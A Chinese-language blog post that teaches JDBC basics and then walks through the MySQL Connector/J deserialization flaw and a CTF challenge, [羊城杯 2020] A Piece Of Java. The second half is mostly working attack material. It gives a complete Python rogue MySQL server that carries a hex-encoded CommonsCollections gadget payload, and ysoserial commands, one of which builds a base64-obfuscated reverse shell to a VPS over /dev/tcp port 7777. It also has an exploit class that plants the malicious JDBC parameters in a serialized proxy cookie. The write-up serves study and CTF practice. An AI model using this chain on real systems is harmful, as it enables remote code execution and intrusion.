前言

这两个月一直被大大小小的事情环绕，经历了挺多事情的，也停下了很久的学习，这两天也算把自己调整过来了，趁着现在在京东里面还比较闲，继续往后面学。

什么是JDBC

JDBC(Java DataBase Connectivity)，是Java与DataBase之间的桥梁，通俗来说，就是利用Java连接数据库的一种方法；是Java语言中用来规范客户端程序如何访问数据库的应用程序接口，提供了诸如查询和更新数据库中数据的方法，能够执行SQL语言；各种关系型数据库都有相应的方法来实现，这里我们也只是针对mysql`数据库的学习

JDBC环境配置

• JDK、java环境
• mysql环境
• maven导入下面依赖

<dependency>
   <groupId>mysql</groupId>
   <artifactId>mysql-connector-java</artifactId>
   <version>8.0.18</version>
</dependency>

创建JDBC应用程序

Java链接数据库，需要几个步骤

• 导入包

import java.sql.*;

• 注册JDBC驱动程序
  利用Class.forName()方法来加载JDBC驱动程序(driver)，也就相当于初始化了

Class.forName("com.mysql.cj.jdbc.Driver");

• 然后利用DriverManager中的getConnection方法，通过JDBC url，用户名，密码来连接相应的数据库.

JDBC url的格式是：

jdbc:mysql://host:port/database_name?参数1=value1&参数2=value2...

加入要连接本地的zzz数据库就是：

jdbc:mysql://127.0.0.1:3306/zzz?serverTimezone=UTC，

serverTimezone=UTC参数是为了改变时区
像这样用

String jdbc_url = "jdbc:mysql://127.0.0.1:3306/zzz?serverTimezone=UTC";
Connection connection = DriverManager.getConnection(jdbc_url,"root","root");

• 输入查询语句
  使用一个类型为Statement或PreparedStatement的对象，然后提交一个sql语句进数据库执行查询

Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery("select * from users");

• 获取结果

ResultSet resultSet是结果集。查询出的记录是一个列表，初始时指针指向的是第一条记录之前的。每result.next()一次指针都会向后移动一位，指向下一条记录

使用ResultSet.getXxx()方法来检索数据，也就是说查询的是String就写resultSet.getString，是INT就行resultSet.getInt：

while(resultSet.next()){
            System.out.println(resultSet.getString("name"));
        }

• 清理环境资源

在使用JDBC与数据交互操作数据库中的数据之后，要明确关闭所有的数据库资源以减少资源的浪费

resultSet.close();
statement.close();
connection.close();

然后就可以写出demo了：

import java.sql.*;
public class JDBC {
    public static void main(String[] args) throws Exception{
        Class.forName("com.mysql.cj.jdbc.Driver");
        String jdbc_url = "jdbc:mysql://127.0.0.1:3306/test?serverTimezone=UTC";
        Connection connection = DriverManager.getConnection(jdbc_url,"zz","ljnzzz");
        Statement statement = connection.createStatement();
        ResultSet resultSet = statement.executeQuery("select * from zzz");
        while(resultSet.next()){
            System.out.println(resultSet.getInt("age"));
        }
        resultSet.close();
        statement.close();
        connection.close();
    }
}

JDBC连接远程数据库

首先要在vps上开放3306端口，接着由于Mysql的安全配置，还很可能会拒绝我们的连接请求，所以查看3306端口监听情况：

netstat -ntlp|grep 3306

或者这样

都是一个意思，只不过上面的是ipv6的表达方式，双冒号表示全为0，也就是所有地址。不过如果是127.0.0.1:3306的话就要去mysql目录下改东西，具体可以在网上搜。

还要注意如果vps上搭了宝塔，则还要在宝塔里把mysql权限改成所有人。如果没有使用宝塔却报"主机无法链接"的可以参考下：https://www.cnblogs.com/chorm590/p/9968475.html

接着就用之前的代码就可以了，只不过要把ip和数据库等修改一下。

import java.sql.*;
public class JDBC {
    public static void main(String[] args) throws Exception{
        Class.forName("com.mysql.cj.jdbc.Driver");
        String jdbc_url = "jdbc:mysql://139.196.123.120:3306/jdbc?serverTimezone=UTC";
        Connection connection = DriverManager.getConnection(jdbc_url,"jdbc","ljnzzz");
        Statement statement = connection.createStatement();
        ResultSet resultSet = statement.executeQuery("select * from zzz");
        while(resultSet.next()){
            System.out.println(resultSet.getString("name"));
        }
        resultSet.close();
        statement.close();
        connection.close();
    }
}

JDBC反序列化

原理

原理是通过JDBC建立到MySQL服务端的连接时，有几个内置的SQL查询语句被发出，其中两个查询的结果集在客户端被处理时会调用ObjectInputStream.readObject()进行反序列化。

简单点说也就是JDBC会传出几个查询语句，然后有两个序列化后的结果会被传入到客户端进行反序列化，这也就是漏洞的来源。

这两个查询语句是:

• SHOW SESSION STATUS
• SHOW COLLATION

所以如果存在JDBC url可控，我们就可以让它连接任意Mysql服务器了，那么连接一个恶意的Mysql服务器的话，通过返回的恶意序列化语句到客户端进行反序列化攻击就可以RCE了。

原理分析

（注意:序列化后的对象前两个字节分别是-84和-19 .这个是java对象的一个标识。）

前面说到客户端会调用到ObjectInputStream.readObject()，那么先找到哪里用到了。看到了JDBC包中的com.mysql.cj.jdbc.result.ResultSetImpl#getObject()，主要看其中重要的逻辑代码，对源代码进行了部分删减:

public Object getObject(int columnIndex) throws SQLException {

        Field field = this.columnDefinition.getFields()[columnIndexMinusOne];
        switch (field.getMysqlType()) {
            case BIT:
               //判断数据是不是blob或者二进制数据
                if (field.isBinary() || field.isBlob()) {
                    byte[] data = getBytes(columnIndex);
                    //获取连接属性的autoDeserialize是否为true
                    if (this.connection.getPropertySet().getBooleanProperty(PropertyDefinitions.PNAME_autoDeserialize).getValue()) {
                        Object obj = data;
                        //data长度大于等于2是为了下一个判断.
                        if ((data != null) && (data.length >= 2)) {
                            if ((data[0] == -84) && (data[1] == -19)) {
                                //上面已经分析过了,就是识别是不是序列化后的对象
                                // Serialized object?                                
                                //下面就是反序列化对象了.
                                try {
                                    ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
                                    ObjectInputStream objIn = new ObjectInputStream(bytesIn);
                                    obj = objIn.readObject();
                                    objIn.close();
                                    bytesIn.close();
                                }
                            }
                        }
                        return obj;
                    }
                    return data;
                }
          ..............

看到里面通过obj = objIn.readObject();进行了反序列化，接着找调用getObject()的地方，又找到com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues方法：

private void populateMapWithSessionStatusValues(Map<String, String> toPopulate) {
        java.sql.Statement stmt = null;
        java.sql.ResultSet rs = null;

        try {
            try {
                toPopulate.clear();

                stmt = this.connection.createStatement();
                rs = stmt.executeQuery("SHOW SESSION STATUS");
                ResultSetUtil.resultSetToMap(toPopulate, rs);
            } finally {
                if (rs != null) {
                    rs.close();
                }

                if (stmt != null) {
                    stmt.close();
                }
            }
        } catch (SQLException ex) {
            throw ExceptionFactory.createException(ex.getMessage(), ex);
        }
    }

先介绍一下ServerStatusDiffInterceptor这个类：
ServerStatusDiffInterceptor是一个拦截器，官方文档中说了在JDBC URL中设定属性queryInterceptors为ServerStatusDiffInterceptor时，执行查询语句后会调用拦截器的preProcess和postProcess方法，进而进入到populateMapWithSessionStatusValues()方法。

在JDBC连接数据库的过程中，会调用SHOW SESSION STATUS去查询，然后对结果进行处理的时候会调用resultSetToMap()方法，继续跟进一下resultSetToMap()方法

看到在这里调用了getObject()方法，在这里整条利用链已经出来了，现在再注意一下有没有什么需要满足的条件来让整条链子通起来。

构造条件

回到getObject()方法里面

反序列化点(readObject())在com.mysql.cj.jdbc.result.ResultSetImpl的public Object getObject(int columnIndex)的switch条件语句中存在两处，一处是case BIT，另一处是case BLOB

但是getObject()的参数是int，它是怎么反序列化的？先看看getObject()方法的作用：

• ResultSet.getObject()方法用于MySQL和Java类型之间的类型转换

那么BIT和BLOB又是什么呢？

BIT和BLOB都是MySQL里的一种数据格式，和其他case样例一样，也都是一些数据类型，判断后处理的作用也正是转化成java中的类型

BLOB：

• BLOB为二进制形式的长文本数据，大小是0-65535 bytes

BIT：

• Bit数据类型用来存储bit值
• BIT(M)代表可以存储M个bit，M的取值范围为1到64
• 如果手工指定bit值，则可以使用b'value'格式，比如b'111'和 b'10000000'分别代表7和128

知道了getObject()的作用接着来看代码逻辑

代码中是通过field.getMysqlType()来判断不同的类型，field来自this.columnDefinition.getFields()[columnIndexMinusOne];，差不多意思就是获取某一列的定义

如果为BIT或者BLOB：

判断field是否为Binary或Blob后再用getBytes()获取其值，接着判断PropertyKey.autoDeserialize的值是否为真，为真则进入else分支

最后data满足第一位为-84第二位为-19就可以执行data的反序列化

-84 -19其实就是AC ED (0xAC == 256 - 84, 0xED == 256 - 19)，就是Java的序列化内容的魔术头

综上所述，要实现反序列化我们需要满足的条件有

• autoDeserialize要设置为真，这个值也可以通过配置属性来实现
• queryInterceptors属性要为ServerStatusDiffInterceptor
• MySQL的类型为BLOB或者BIT(这个可以在恶意mysql脚本中实现）

走一遍流程就是当我们在JDBC url中设置属性queryInterceptors为ServerStatusDiffInterceptor时，在执行SQL的查询语句的时候，会调用拦截器的postProcess方法，然后调用populateMapWithSessionStatusValues方法，然后调用resultSetToMap方法，然后调用getObject方法，在getObject中，只要autoDeserialize 为True，就可以进入到最后readObject中，最终实现反序列化

具体实现

POC数据包的详细分析，请参考：https://xz.aliyun.com/t/8159#toc-0
也就是这个

# coding=utf-8
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()

def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))

def get_payload_content():
    #file文件的内容使用ysoserial生成的 使用规则：java -jar ysoserial [Gadget] [command] > payload
    file= r'payload'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content

# 主要逻辑
def run():

    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))

        # 1.先发送第一个 问候报文
        send_data(conn,greeting_data)

        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)

            #其他过程
            data=receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 为什么我加了EOF Packet 就无法正常运行呢？？
                # 获取payload
                payload_content=get_payload_content()
                # 计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                # 计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break


if __name__ == '__main__':
    HOST ='0.0.0.0'
    PORT = 3309

    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)

    print("start fake mysql server listening on {}:{}".format(HOST,PORT))

    run()

简单看一下这个poc，他需要自己把序列化后的payload放在一个文件里面，poc里面有打开的文件的命令。
先用ysoserial生成cc7的payload，然后把生成的payload文件放在服务器上面

java -jar ysoserial.jar CommonsCollections7 "/System/Applications/Calculator.app/Contents/MacOS/Calculator" > payload

再把上面这个poc传到自己的vps，然后起个服务

然后就是客户端代码

import java.sql.*;

public class JDBC {
    public static void main(String[] args) throws Exception{
        Class.forName("com.mysql.cj.jdbc.Driver");
        String jdbc_url = "jdbc:mysql://xxx.xxx.xxx.xxx:3309/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
        Connection connection = DriverManager.getConnection(jdbc_url, "", "");
    }
}

这里要注意一下，因为序列化的时候用的是cc7的链子，所以客户端也应该有cc的依赖才可以反序列化成功。所以客户端还要导入cc的依赖

运行就可以弹出计算器了

题目复现 — [羊城杯 2020]A Piece Of Java

buu上就可以复现
给了jar包，先用

jar xvf web-0.0.1-SNAPSHOT.jar

解压jar文件，解压后有三个文件夹：BOOT-INF，META-INF，org。首先要明白SpringBoot的jar包解压后这些文件的含义

• BOOT-INF/classes：目录中存放项目代码对应的 .class文件
• BOOT-INF/lib：目录中存放项目相关的依赖包，依赖包以 jar包 的方式存放
• META-INF：目录存放应用打包信息(Maven坐标、pom文件)和MANIFEST.MF文件。

其中，有两个主要的描述信息：
- Main-Class
描述 jar包 的入口文件（main 方法所在的类）

Spring 框架固定是 org.springframework.boot.loader.JarLauncher

定义完此属性后，一定要有一个换行

- Start-Class
描述自定义 main 方法的全称

• org：存放了一些打包 SpringBoot 项目后的相关启动类

.idea/文件夹来存放项目的配置信息。其中包括版本控制信息、历史记录等等。说白了， .idea/ 与当前项目能否正常执行无关，它只是负责对代码的历史变化进行一个记录，便于回溯查找和复原。

也就是说我们要关注的也就是BOOT-INF/classes目录里面的内容

把解压后的BOOT-INF/classes放入IDEA中，也可以直接把题目给的JAR包扔到JD-GUI中看BOOT-INF/classes目录，都是一样的。

看到gdufs.challenge.web.controller.MainController类里面，主要看两个路由，index和hello，在/hello路由中，明显有个deserialize方法，也就是反序列化的意思

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

package gdufs.challenge.web.controller;

import gdufs.challenge.web.model.Info;
import gdufs.challenge.web.model.UserInfo;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;
import org.nibblesec.tools.SerialKiller;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.CookieValue;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class MainController {
    public MainController() {
    }

    @GetMapping({"/index"})
    public String index(@CookieValue(value = "data",required = false) String cookieData) {
        return cookieData != null && !cookieData.equals("") ? "redirect:/hello" : "index";
    }

    @PostMapping({"/index"})
    public String index(@RequestParam("username") String username, @RequestParam("password") String password, HttpServletResponse response) {
        UserInfo userinfo = new UserInfo();
        userinfo.setUsername(username);
        userinfo.setPassword(password);
        Cookie cookie = new Cookie("data", this.serialize(userinfo));
        cookie.setMaxAge(2592000);
        response.addCookie(cookie);
        return "redirect:/hello";
    }

    @GetMapping({"/hello"})
    public String hello(@CookieValue(value = "data",required = false) String cookieData, Model model) {
        if (cookieData != null && !cookieData.equals("")) {
            Info info = (Info)this.deserialize(cookieData);
            if (info != null) {
                model.addAttribute("info", info.getAllInfo());
            }

            return "hello";
        } else {
            return "redirect:/index";
        }
    }

    private String serialize(Object obj) {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        try {
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(obj);
            oos.close();
        } catch (Exception var4) {
            var4.printStackTrace();
            return null;
        }

        return new String(Base64.getEncoder().encode(baos.toByteArray()));
    }

    private Object deserialize(String base64data) {
        ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));

        try {
            ObjectInputStream ois = new SerialKiller(bais, "serialkiller.conf");
            Object obj = ois.readObject();
            ois.close();
            return obj;
        } catch (Exception var5) {
            var5.printStackTrace();
            return null;
        }
    }
}

简单看一下代码逻辑，在index路由里面new了一个userinfo类，然后里面设置了username和password，接着把这个类作为cookie的data字段序列化后进行base64编码了（base64的逻辑在他的serialize里可以看到），在spring框架中redirect是重定向的意思，也就是进入了hello路由，在hello路由对设置cookie键名为data进行了反序列化

接着来看一下他反序列化deserialize的具体逻辑

和正常反序列化只有这个有点不同

ObjectInputStream ois = new SerialKiller(bais, "serialkiller.conf");

这个SerialKiller就很像一种过滤，在IDEA不能直观的看这个类，那就看一下他后面那个文件

那应该就是白名单的过滤了，只允许反序列化gdufs和java.lang下的类。并且可以在lib文件里面看到是导入了cc依赖的，如果不是做了过滤都可以直接打了

不过在JD-GUI中可以看到SerialKiller类的具体作用，也可以看到是在这里面导入了cc依赖

那只能找一下gdufs和java.lang下可控的序列化条件了，接着往下看有个invocationHandler类，继承了InvocationHandler和Serializable，很明显是个动态代理类，并且可以序列化他。

接着往下看到DatabaseInfo类

明显这里也有checkAllInfo和getAllInfo两个类，再跟进一下checkAllInfo类里面的connect方法

password参数可控，也没有做什么过滤，那就可以拼接autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor这个参数并且连接恶意的mysql服务器利用JDBC反序列化来RCE了

那我们可以把DatabaseInfo类设为被代理类，由于动态代理，调用被代理类的任意方法都会调用代理类的invoke方法，从而进入到checkAllInfo，再进入到connect()方法中，不过应该调用DatabaseInfo的哪个方法呢？

再回过头来看/hello路由里面

这里调用了info.getAllInfo()，所以只需要让info为被代理的DatabaseInfo即可

利用链

反序列化->info.getAllinfo()->(动态代理)InfoInvocationHandler.invoke()->Databaseinfo.checkAllInfo()->Databaseinfo->connect()

构造exp

梳理完过后就是写exp了，因为要用到题目里gdufs目录下的的一些类和自定义函数，所以还是要先用JD-GUI把class文件反编译出来

然后由于我不知道其他方法嘛，就在IDEA上新建了一个MAVEN项目，然后把gdufs目录放到这个项目下面

然后在 META-INF/maven/gdufs.challenge/web/目录下面找到pom.xml文件，把里面的依赖cv到使用项目的pom.xml下。

Tips：

这里有个坑。

serialkiller给的jar包中为3.0的版本，但是maven在找依赖的时候找不到，我看了看只有0.4的依赖，所以可以改成0.4版本的。

最后在gdufs目录下面随便创一个exp的java文件就可以编写exp了:

先看一下DatabaseInfo类的变量属性

好家伙都是private的，但是赋值的方法都是public，所以也没必要用反射进行赋值，因为在java中是可以通过公有方法对私有变量赋值或者调用的，忘了的话看看这个：
java之公有方法访问私有变量

第一步先new一个DatabaseInfo对象并用里面的方法赋值

        DatabaseInfo db = new DatabaseInfo();
        db.setHost("vps");
        db.setPort("3309");
        db.setUsername("c1oud");
        db.setPassword("zz&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");

第二步让DatabaseInfo成为被代理对象

        InvocationHandler handler = new InfoInvocationHandler(db);
        Info proxy = (Info)Proxy.newProxyInstance(db.getClass().getClassLoader(),db.getClass().getInterfaces(),handler);

最后就是序列化了和记得base64加密：

        ByteArrayOutputStream a = new ByteArrayOutputStream();
        ObjectOutputStream b = new ObjectOutputStream(a);
        b.writeObject(proxy);
        b.close();
        System.out.println(new String(Base64.getEncoder().encode(a.toByteArray())));

因为Base64加密需要的对象是字节数组，所以要转换一下，序列化后的数据在缓冲区里面，所以用toByteArray()能将缓冲区的数据全部获取出来，返回字节数组，如果是字符串的话才用getBytes转换。encode返回的也是字节数组，所以最后要转成字符串，java可以直接用String来转。也可以用

System.out.println(Base64.getEncoder().encodeToString(a.toByteArray()));

Base64.getEncoder().encode()用到的依赖是java本来就有的，而Base64.encode()用到的需要载入外部依赖，题目中不一定有，所以才用前者

最终exp：

package gdufs.challenge.web.model;

import gdufs.challenge.web.invocation.InfoInvocationHandler;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class exp {
    public static void main(String[] args) throws Exception{
        DatabaseInfo db = new DatabaseInfo();
        db.setHost("139.196.123.120");
        db.setPort("3309");
        db.setUsername("c1oud");
        db.setPassword("zz&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
        InvocationHandler handler = new InfoInvocationHandler(db);
        Info proxy = (Info)Proxy.newProxyInstance(db.getClass().getClassLoader(),db.getClass().getInterfaces(),handler);
        ByteArrayOutputStream a = new ByteArrayOutputStream();
        ObjectOutputStream b = new ObjectOutputStream(a);
        b.writeObject(proxy);
        b.close();
        System.out.println(new String(Base64.getEncoder().encode(a.toByteArray())));
    }
}

生成代码

接着就是之前讲的用ysoserial生成payload文件，因为是cc3.2.1的依赖，用cc6一般都可以通杀，cc5也可以打，不过如果依赖是cc4.0的话会考虑用cc2去打。

java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMTk2LjEyMy4xMjAvNzc3NyAwPiYxCgoKCg==}|{base64,-d}|{bash,-i}" > payload

可能大家对于这一串命令很迷茫，在java的Runtime.getRuntime().exec()中它执行命令不是使用bash来执行，而是启动这个命令本身，也就是说会把他当作一个程序来执行，这样肯定是不行的，所以要加上一个bash -c，并且Runtime.getRuntime().exec()有另外一个特性，它会用空格将命令分割成一个数组，并将数组的第一个字符串作为可执行文件路径，后面的字符串作为参数，所以直接构造反弹shell的语句也是不行的，还需要绕过空格

强烈建议看看：ysoserial生成反弹shell命令

中括号的形式在bash中也是可以执行的，是绕过空格的一种方式，总体比较好理解
bash是执行文件-c是第一个参数，后面是第二个参数，由于没有空格了说明后面的全部执行的是bash命令，在看后面，先echo一个字符串，然后把它base64解码，接着bash -i执行这个字符串，base64编码的内容也就是

bash -i >& /dev/tcp/vps/7777 0>&1

然后把payload文件传到服务器，接着运行恶意mysql服务：python3 evil.py，同时进行监听：nc -lvvp 7777，最后抓包改路由将之前exp生成的数据作为cookie的data数据传进去

成功反弹shell

参考链接

http://blog.o3ev.cn/yy/1247

http://arsenetang.com/2022/03/19/Java篇之jdbc反序列化/

https://www.mi1k7ea.com/2021/04/23/MySQL-JDBC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

https://xz.aliyun.com/t/8159

https://c014.cn/blog/java/JDBC/MySQL%20JDBC%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.html

https://blog.csdn.net/fmyyy1/article/details/122706761

https://guokeya.github.io/post/t746TU6pM/

https://www.archive.link/dig/detail/1651306446497690